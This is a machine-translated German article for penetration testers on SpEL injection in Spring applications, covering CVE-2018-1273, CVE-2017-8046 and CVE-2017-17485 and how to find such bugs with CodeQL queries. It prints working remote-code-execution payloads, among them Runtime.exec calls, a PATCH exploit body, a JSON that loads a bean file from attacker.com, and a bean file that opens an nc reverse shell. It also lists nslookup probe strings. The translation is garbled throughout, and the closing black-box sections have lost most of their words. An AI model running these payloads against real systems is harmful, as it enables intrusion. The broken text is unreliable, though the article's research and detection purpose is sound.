Intro
Während wir an verschiedenen Diensten arbeiten und diese erforschen, können wir zunehmend den Frühlingsrahmen erfüllen. Der logische Schritt besteht darin, sich mit seiner Struktur und möglichen Schwachstellen vertraut zu machen.
Die interessantesten für jeden Pentester sind Schwachstellen, die zur Codeausführung führen.
Eine Möglichkeit, RCE im Frühjahr zu erhalten, besteht darin, SpEL-Ausdrücke einzufügen.
In diesem Artikel werden wir versuchen zu verstehen, was SpEL ist, wo es zu finden ist, welche Verwendungsmerkmale es gibt und wie solche Injektionen zu finden sind.
Was?
SpEL ist eine Ausdruckssprache, die für das Spring Framework erstellt wurde und die Abfrage und Diagrammverwaltung von Objekten zur Laufzeit unterstützt.
Es ist auch wichtig zu beachten, dass SpEL als API erstellt wurde, mit der Sie es in andere Anwendungen und Frameworks integrieren können.
Wo kann ich mich treffen?
Es ist logisch, dass im Spring Framework SpEL ständig verwendet wird. Ein gutes Beispiel ist Spring Security, bei dem Rechte mithilfe von SpEL-Ausdrücken zugewiesen werden:
@PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission);
Apache Camel verwendet die SpEL-API. Unten finden Sie Beispiele aus der Dokumentation.
Buchstabenbildung mit SpEL-Ausdrücken:
<route> <from uri="direct:foo"/> <filter> <spel>#{request.headers['foo'] == 'bar'}</spel> <to uri="direct:bar"/> </filter> </route>
Oder Sie können eine Regel aus einer externen Datei verwenden, um beispielsweise einen Header anzugeben:
.setHeader("myHeader").spel("resource:classpath:myspel.txt")
Hier sind einige Beispiele auf GitHub:
https://github.com/jpatokal/openflights
https://github.com/hbandi/LEP
Spring Framework und SpEL Basics
Um dem Leser das Verständnis der SpEL-Injektionen zu erleichtern, müssen Sie Spring und SpEL ein wenig kennenlernen.
Ein Schlüsselelement des Spring Framework ist der Spring Container. Ein Container erstellt Objekte, bindet sie zusammen, konfiguriert und verwaltet sie von der Erstellung bis zur Zerstörung.
Zur Steuerung der Komponenten, aus denen die Anwendung besteht, verwendet Spring Container
Abhängigkeitsinjektion. In diesem Fall werden Objekte mithilfe externer Entitäten konfiguriert, die als Spring Beans bezeichnet werden - umgangssprachlich als "Beans" bezeichnet.
Spring Container ruft die Konfigurationsmetadaten aus der Bean ab, die zum Abrufen der folgenden Informationen erforderlich sind: Anweisungen dazu, welche Objekte instanziiert werden sollen und wie sie über Metadaten konfiguriert werden.
Metadaten können auf drei Arten abgerufen werden:
- XML
- Java-Anmerkungen
- Java-Code
Ein weiterer wichtiger Punkt für uns ist der Anwendungskontext.
ApplicationContext ist die Hauptschnittstelle in einer Spring-Anwendung, die Informationen zur Anwendungskonfiguration bereitstellt. Es ist zur Laufzeit schreibgeschützt, kann jedoch bei Bedarf neu geladen und von der Anwendung unterstützt werden. Die Anzahl der Klassen, die die ApplicationContext-Schnittstelle implementieren, ist für verschiedene Konfigurationsparameter und Anwendungstypen verfügbar. In der Tat ist es die Spring-Anwendung selbst. Der Kontext bietet auch die Möglichkeit, auf verschiedene Ereignisse in der Anwendung zu reagieren und den Lebenszyklus der Beans zu steuern.
Lassen Sie uns nun direkt auf die Methoden zum Definieren einer Bean und zum Verwenden von SpEL-Ausdrücken eingehen.
Bean.xml
Ein Beispiel für eine typische Verwendung ist die Integration von SpEL in die Erstellung von XML- oder kommentierten Definitionen von Bean-Komponenten:
<bean id=“exmple" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/> <property name="defaultLocale2" value="${user.region}"/> </bean>
Hier ist ein Teil des Codes in der Bean.xml-Datei für nur eine der Beans. Es lohnt sich, auf die ID des Fachs zu achten, auf das zugegriffen werden kann, und auf die Eigenschaften. Weil Als Teil dieses Artikels erwägen wir die Verwendung von SpEL. Im Beispiel werden dann mehrere Optionen zum Schreiben solcher Ausdrücke angegeben.
Um Spring anzuzeigen, dass SpEL-Ausdrücke als Nächstes kommen, wird das Zeichen # verwendet und der Ausdruck selbst in geschweiften Klammern angegeben: #{SpEL_expression} . Auf Eigenschaften kann mit dem Zeichen $ verwiesen werden, wobei der Eigenschaftsname in geschweiften Klammern angegeben wird: ${someProperty} . Eigenschaftsplatzhalter können keine SpEL-Ausdrücke enthalten, aber Ausdrücke können Eigenschaftsreferenzen enthalten:
"#{${someProperty}"
So können Sie jede benötigte Java-Klasse aufrufen oder beispielsweise auf Umgebungsvariablen zugreifen, die zur Ermittlung des Benutzernamens oder der Version des Systems hilfreich sein können.
Der Vorteil dieser Methode zum Angeben von Beans besteht darin, dass sie geändert werden können, ohne dass die gesamte Anwendung neu kompiliert werden muss, wodurch sich das Verhalten der Anwendung ändert.
Über die Anwendung selbst können Sie über die ApplicationContext-Schnittstelle auf diese Bean zugreifen, wie unten gezeigt:
ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”); MyExpression example = ctx.getBean(“example", MyExpression.class); " + "System.out.println(“Number : " + example.getValue()); System.out.println(“Locale : " + example.getDefaultLocale()); System.out.println(“Locale : " + example.getDefaultLocale2());
Das heißt, Innerhalb der Anwendung erhalten wir einfach die Werte der bin-Parameter, die SpEL-Ausdrücke enthalten. Nachdem Spring einen solchen Wert erhalten hat, führt er den Ausdruck aus und gibt das Endergebnis zurück. Vergessen Sie auch nicht, dass dieser Code ohne die entsprechenden Getter nicht funktioniert, aber ihre Beschreibung geht über den Rahmen des Artikels hinaus.
Eine andere Möglichkeit, Beans anzugeben, ist die AnnotationBase-Annotationsmethode. Parameterwerte werden für einige Klassen in der Annotation festgelegt. In diesem Fall ist die Verwendung von Variablen nicht möglich.
public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } }
Um Variablen verwenden zu können, müssen wir beim Erstellen von SpEL-Ausdrücken die ExpressionParser-Schnittstelle verwenden. Anschließend wird im Anwendungscode eine Klasse angezeigt, ähnlich dem folgenden Beispiel:
public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == 'Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class);
ExpressionParser konvertiert einen Zeichenfolgenausdruck in ein Expression-Objekt. Somit kann der Wert des analysierten Ausdrucks im Rahmen des EvaluationContext erhalten werden. Dieser EvaluationContext ist das einzige Objekt, für das alle Eigenschaften und Variablen in der EL-Zeichenfolge verfügbar sind.
Es ist erwähnenswert, eine weitere wichtige Tatsache. Bei dieser Methode zur Verwendung von SpEL muss der Zeichenfolgenausdruck nur # enthalten, wenn er zusätzlich zum Ausdruck selbst Zeichenfolgenliterale enthält.
Von alledem lohnt es sich, sich an zwei Dinge zu erinnern:
1) Wenn es möglich ist, nach Anwendungscode zu suchen, müssen Sie nach solchen Schlüsselwörtern suchen: SpelExpressionParser, EvaluationContext und parseExpression.
2) Für Spring #{SpEL} , ${someProperty} und T(javaclass) wichtige Zeiger
Wenn Sie mehr über Spring und SpEL erfahren möchten, empfehlen wir Ihnen, die Dokumentation zu docs.spring.io zu beachten .
Was kann SpEL tun?
Laut Dokumentation unterstützt SpEL die folgenden Funktionen:
- Wörtliche Ausdrücke
- Boolesche und relationale Operatoren
- Reguläre Ausdrücke
- Klassenausdrücke
- Zugriff auf Eigenschaften, Arrays, Listen, Karten
- Methodenaufruf
- Vergleichsoperatoren
- Zuordnung
- Konstruktoren aufrufen
- Bean Referenzen
- Array-Konstruktion
- Inline-Listen
- Inline-Karten
- Ternärer Operator
- Variablen
- Benutzerdefinierte Funktionen
- Sammlungsprojektion
- Sammlungsauswahl
- Vorlagenausdrücke
Wie wir sehen können, ist die SpEL-Funktionalität sehr umfangreich, und dies kann die Sicherheit des Projekts beeinträchtigen, wenn Benutzereingaben in ExpressionParser eingehen. Daher empfiehlt Spring selbst, anstelle eines voll funktionsfähigen StandardEcalutionContext einen abgespeckten SimpleEvaluationContext zu verwenden.
Kurz gesagt, SimpleEvaluationContext ist für uns nicht wichtig und kann nicht auf Java-Klassen zugreifen und auf andere Beans verweisen.
Eine vollständige Beschreibung der Funktionen finden Sie am besten auf der Dokumentationswebsite:
StandardEvaluationContext
SimpleEvaluationContext
Einige Korrekturen basieren sogar auf dem Unterschied in der Funktionalität von SpEL, das in verschiedenen Kontexten ausgeführt wird. Wir werden jedoch etwas später darauf eingehen.
Um alles wirklich klar zu machen, geben wir ein Beispiel. Wir haben eine eindeutig böswillige Zeile, die einen SpEL-Ausdruck enthält:
String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')";
Und es gibt zwei Kontexte:
StandardEvaluationContext std_c = new StandardEvaluationContext();
und
EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Ausdruck exp = parser.parseExpression (inj);
java exp.getValue(std_c); - Der Rechner wird gestartet
java exp.getValue(simple_c); - Wir erhalten eine Fehlermeldung
Ein ebenso interessanter Punkt ist, dass wir mit der Verarbeitung des Ausdrucks beginnen können, ohne einen Kontext anzugeben: exp.getValue();
In diesem Fall wird der Ausdruck im Standardkontext ausgeführt und der bösartige Code wird ausgeführt. Wenn Sie ein Programmierer sind und Spring verwenden, vergessen Sie daher niemals, den Kontext festzulegen, in dem der Ausdruck ausgeführt werden soll.
Wir haben etwas früher gesagt, dass einige Korrekturen auf den Unterschieden zwischen den SpEL-Funktionen innerhalb von Kontexten beruhen. Betrachten Sie ein Beispiel für eine solche Korrektur.
CVE 2018-1273 Spring Data Commons
Diese Sicherheitsanfälligkeit wurde in der Methode setPropertyValue gefunden und basierte auf zwei Problemen:
1) Unzureichende Bereinigung der Werte der Variablen, die in ExpressionParser fallen.
2) Ausführung des Ausdrucks im Rahmen des Standardkontexts.
Hier ist ein Screenshot des anfälligen Teils des Codes:
Weil Der Eigenschaftsname erforderte keine komplexe Verarbeitung innerhalb des SpEL-Frameworks. Die logische Lösung bestand darin, den Kontext zu ersetzen, was zu folgendem Code führte:
Die Screenshots zeigen die Teile des Codes, die den Kontext festlegen, und den Ausdruck, der ausgeführt wird. Die Ausführung des Ausdrucks erfolgt jedoch an anderer Stelle:
expression.setValue(context, value);
Hier wird angezeigt, dass wir einen SpEL-Ausdruck für den Wert im angegebenen Kontext ausführen.
Die Verwendung von SimpleEvaluationContext hat zum Schutz vor der Implementierung der Java-Klasse in parseExpression beigetragen. Anstatt jetzt Code im Serverprotokoll auszuführen, wird ein Fehler angezeigt:
Type cannot be found 'java.lang.Runtime'
Dies löste jedoch nicht das Problem mit dem Mangel an ausreichenden sanitären Einrichtungen und behielt die Fähigkeit bei, einen Redos-Angriff durchzuführen:
curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test"
Daher beinhaltete der nächste Fix bereits die Bereinigung des Parameternamens.
Von der Theorie zur Praxis!
Schauen wir uns nun verschiedene Möglichkeiten an, um mithilfe der White-Box-Methode nach SpEL-Injektionen zu suchen.
Schritt für Schritt CVE-2017-8046
Zuerst müssen Sie einen Ort für die Verarbeitung von SpEL-Ausdrücken finden. Dazu können Sie einfach unsere Empfehlung verwenden und Stichwörter im Code finden. Erinnern Sie sich an diese Wörter: SpelExpressionParser, EvaluationContext und parseExpression.
Eine andere Möglichkeit besteht darin, verschiedene Plugins zu verwenden, um Fehler im Code zu finden. Bisher war findsecbugs-cli das einzige Plugin, das auf eine mögliche SpEL-Injektion hinweist.
https://github.com/find-sec-bugs
Also haben wir den Ort gefunden, an dem wir uns für den Code interessieren. Angenommen, wir verwenden findsecbugs-cli:
Im Anwendungscode sehen wir Folgendes:
public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List<String> APPEND_CHARACTERS = Arrays.asList("-"); public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); }
Der nächste Schritt besteht darin, herauszufinden, wo die Pfadvariable in den Ausdrucksparser gelangt. Eine der bequemsten und kostenlossten Möglichkeiten wäre die Verwendung der IntelijIdea IDE-Funktion - Datenfluss analysieren:
Durch Abwickeln der Kette, zum Beispiel zum Ersetzen und Studieren der angegebenen Methoden und Klassen, erhalten wir Folgendes:
Die ReplaceOperation-Methode übernimmt den Wert der Pfadvariablen.
public ReplaceOperation(String path, Object value) { super("replace", path, value); }
Um die Ersetzungsmethode aufzurufen, müssen Sie die Variable "op" mit dem Wert "replace" an JSON übergeben.
JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value));
Ebenso finden wir alle Stellen, an denen der Benutzer den von ihm benötigten Wert an die Pfadvariable übergeben kann. Und dann sieht eine der Ausnutzungsoptionen für die Sicherheitsanfälligkeit folgendermaßen aus:
Anforderungsmethode: PATCH
Text anfordern:
[{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]
Verwenden von LGTM QL
Die Verwendung von LGTM QL (für die Zwecke dieses Artikels reduzieren wir es einfach auf QL) ist eine weitere interessante Möglichkeit, nach Schwachstellen zu suchen.
https://lgtm.com
Es sollte sofort seinen Mangel festlegen. Sie können kostenlos nur Projekte analysieren, die sich in offenen Repositorys auf GitHub befinden, weil Um ein Bild des Projekts aufzunehmen, lädt LGTM das Projekt auf seinen Server hoch und kompiliert es dort. Wenn Sie dies jedoch nicht stört, eröffnet Ihnen das LGTM QL großartige Möglichkeiten bei der Analyse des Anwendungscodes.
Was ist eine QL-Anwendungsanalyse?
Wie bereits erwähnt, müssen Sie zunächst einen Snapshot der Anwendung erstellen.
Wenn der Snapshot fertig ist und dies mehrere Stunden dauern kann, können Sie eine SQL-ähnliche Abfrage als Teil der QL-Syntax schreiben. Dazu können Sie das Plugin für Eclipse verwenden oder direkt in der Konsole auf der Projekt-QL-Seite agieren.
Weil Jetzt betrachten wir Spring, und dies ist das Framework für Java. Sie müssen die für Sie interessante Klasse und die Methode aus dieser Klasse beschreiben, deren Aufruf als anfällig angesehen wird. Für uns ist dies jede Klasse, die eine Methode enthält, die ExpressionParser aufruft.
Anschließend treffen wir eine Auswahl aller Methoden, die unseren Anforderungen entsprechen, indem wir beispielsweise das Auftreten einer Variablen in einer Methode beschreiben, die bereinigen würde, und die Bedingung, nicht in diese Methode zu fallen.
Was muss also getan werden, um die CVE-Sicherheitsanfälligkeit 2018-1273 zu finden?
Nachdem wir das Projektimage erhalten und verbunden haben, verwenden wir die QL-Konsole, um den Anrufbaum zu beschreiben, der uns interessiert. Dafür:
Wir beschreiben die Expression-Parser-Klasse:
class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } }
Und die Methoden, die für die Ausführung innerhalb der ExpressionParser-Klasse verwendet werden können:
class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } }
Jetzt müssen Sie diese Beschreibungen miteinander verbinden und eine Auswahl treffen:
from ParseExpression expr where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser) select expr
Eine solche Abfrage gibt alle Methoden zurück, die mit parse oder mit dem Namen doParseExpression beginnen und zur ExpressionParser-Klasse gehören. Aber das ist zu viel, sagst du, und du wirst recht haben. Ein Filter ist erforderlich.
Weil Im Code gibt es einen Kommentar des Formulars:
* Converts a patch path to an {@link Expression}. * * @param path the patch path to convert.
Dies könnte beispielsweise eine Suche nach „Pfad“ in Javadoc sein. Spring kommentiert seinen Code in sehr hoher Qualität, und wir können Methodenaufrufe mit dem erforderlichen Kommentar finden und gleichzeitig alle in den Tests enthaltenen Methoden entfernen. All dies kann wie folgt beschrieben werden:
class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } }
Um die Klasse, Methoden und Filter nach Javadoc zu kombinieren, hat die Abfrage für die Auswahl die folgende Form:
from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c
Dieses Beispiel kann als einfach und im Allgemeinen redundant angesehen werden, um nach einer bestimmten Sicherheitsanfälligkeit zu suchen. Viel interessanter ist die Suche nach Fehlern beim Schreiben eines Fixes, weil Darin müssen Sie die Klasse selbst angeben, die für die Prüfung verantwortlich ist, die Methoden, die sie immer aufrufen und die vor der Prüfung ausgeführt werden.
Ein Aufruf einer Methode, die immer verifyPath aufruft:
class VerifyPathCallerAccess extends MethodAccess { VerifyPathCallerAccess() { exists(VerifyPathActionConf conf | conf.callAlwaysPerformsAction(this) ) or this.getMethod() instanceof VerifyPath } }
Ein Aufruf einer Methode, die vor verifyPath ausgeführt wird:
class UnsafeEvaluateCall extends MethodAccess { UnsafeEvaluateCall() { ( this.getMethod() instanceof Evaluate or exists(UnsafeEvaluateCall unsafe | this.getMethod() = unsafe.getEnclosingCallable() ) ) and not exists(VerifyPathCallerAccess verify | dominates(verify, this) ) } }
Betrachten Sie eine weitere interessante Sicherheitsanfälligkeit. Ihr Verständnis ist sehr wichtig, weil Es zeigt, dass sich der Fehler möglicherweise in einer Bibliothek eines Drittanbieters befindet, und zeigt, wie mit XML-Annotationen versehene Beans verwendet werden können.
Jackson und Bohne
CVE-2017-17485 basiert auf der Verwendung von FileSystemXmlApplicationContext - es handelt sich um einen eigenständigen Anwendungskontext in Form von XML, der Kontextdefinitionsdateien vom Dateisystem oder von der URL empfängt.
Gemäß der Dokumentation können Sie so Beans aus einer Datei laden und den Anwendungskontext neu laden.
"... Erstellen Sie einen neuen FileSystemXmlApplicationContext, laden Sie die Definitionen aus den angegebenen XML-Dateien und aktualisieren Sie den Kontext automatisch."
Jackson ist eine Bibliothek, mit der Sie alle Objekte außer den auf der schwarzen Liste aufgeführten Objekten serialisieren und deserialisieren können. Diese Gelegenheit wird häufig von Angreifern genutzt. Bei dieser Sicherheitsanfälligkeit musste der Angreifer das Objekt org.springframework.context.support.FileSystemXmlApplicationContext mit einem Wert übergeben, der den Pfad zu der vom Angreifer kontrollierten Datei enthält.
Das heißt, Im Anfragetext können Sie den folgenden JSON übergeben:
{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]}
Spel.xml enthält bin-Parameter:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list value-type="java.lang.String" > <value>nc</value> <value>XXXX</value> <value>9999</value> <value>-e</value> <value>/bin/sh</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans>
Weil Da wir die Bean-Klasse java.lang.ProcessBuilder verwendet haben, die über eine Startmethode verfügt, liest Spring nach dem erneuten Laden des Kontexts den Ausdruck, der ProcessBuilder startet, über die SpEL-Eigenschaft, wodurch der Server gezwungen wird, mit nc eine Verbindung zu uns herzustellen.
Es lohnt sich, auf die als Beispiel angegebene spel.xml zu achten, z Es zeigt, wie beim Ausführen des Befehls Parameter übergeben werden.
Und auf welche andere Weise können wir unsere Bean laden oder den Kontext neu laden?
Selbst mit einem kurzen Blick auf die Spring-Dokumentation finden Sie einige weitere Klassen, die für uns nützlich sein können.
ClassPathXmlApplicationContext und AbstractXmlApplicationContext ähneln FileSystem, jedoch werden ClassPath- und XML-annotierte Beans als Pfad zur Konfiguration verwendet.
Es gibt einen weiteren interessanten Punkt im Zusammenhang mit dem Neuladen des Kontexts - @RefreshScope.
Alle mit @RefreshScope kommentierten Spring Bean werden zum Startzeitpunkt aktualisiert. Und alle Komponenten, die es verwenden, erhalten beim nächsten Aufruf der Methode ein neues Objekt. Sie werden vollständig initialisiert und abhängig davon eingeführt.
RefreshScope ist eine Komponente im Kontext und verfügt über eine öffentliche refreshAll-Methode, mit der alle Komponenten in einem Bereich durch Löschen des Zielcaches aktualisiert werden können. Daher kann der Benutzer bei Verwendung von @RefreshScope auf die URL verweisen, die mit / refresh endet, und dadurch die mit Anmerkungen versehenen Beans neu laden.
Andere Dienstprogramme
Es gibt viele andere Plugins und Programme, mit denen Sie den Code analysieren und die Sicherheitsanfälligkeit finden können.
- Jprofiler - wird als separater Anwendungsserver und Plugin für IDE installiert. Ermöglicht die Analyse einer laufenden Anwendung. Es ist sehr praktisch, das Verhalten von Objekten durch grafische Darstellung zu analysieren.
Von den Minuspunkten - bezahlt, hat aber eine freie Frist von 10 Tagen. Es gilt als eines der besten Dienstprogramme zur Analyse des Anwendungsverhaltens, nicht nur unter Sicherheitsgesichtspunkten.
Black Box
-, .
, : Spring, SpEL, , SpEL API, -, .
spring, URL, API. /metrics /beans — Spring Boot Actuator , .
, .
, SpEL , , .
- :
var[SpEL]=123 - :
&variable1=123&SpEL= - : org.springframework.cookie =
${} - ..
:
${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name}
SpEL
SpEL , , EL Injection. : OGNL, MVEL, JBoss EL, JSP EL. - .
ZeroNights : “ , Spring, SpEL injection?”
, CVE, . , , github.
, , SpEL Expression. Das heißt, (, ) , .
Das heißt, . , , “” .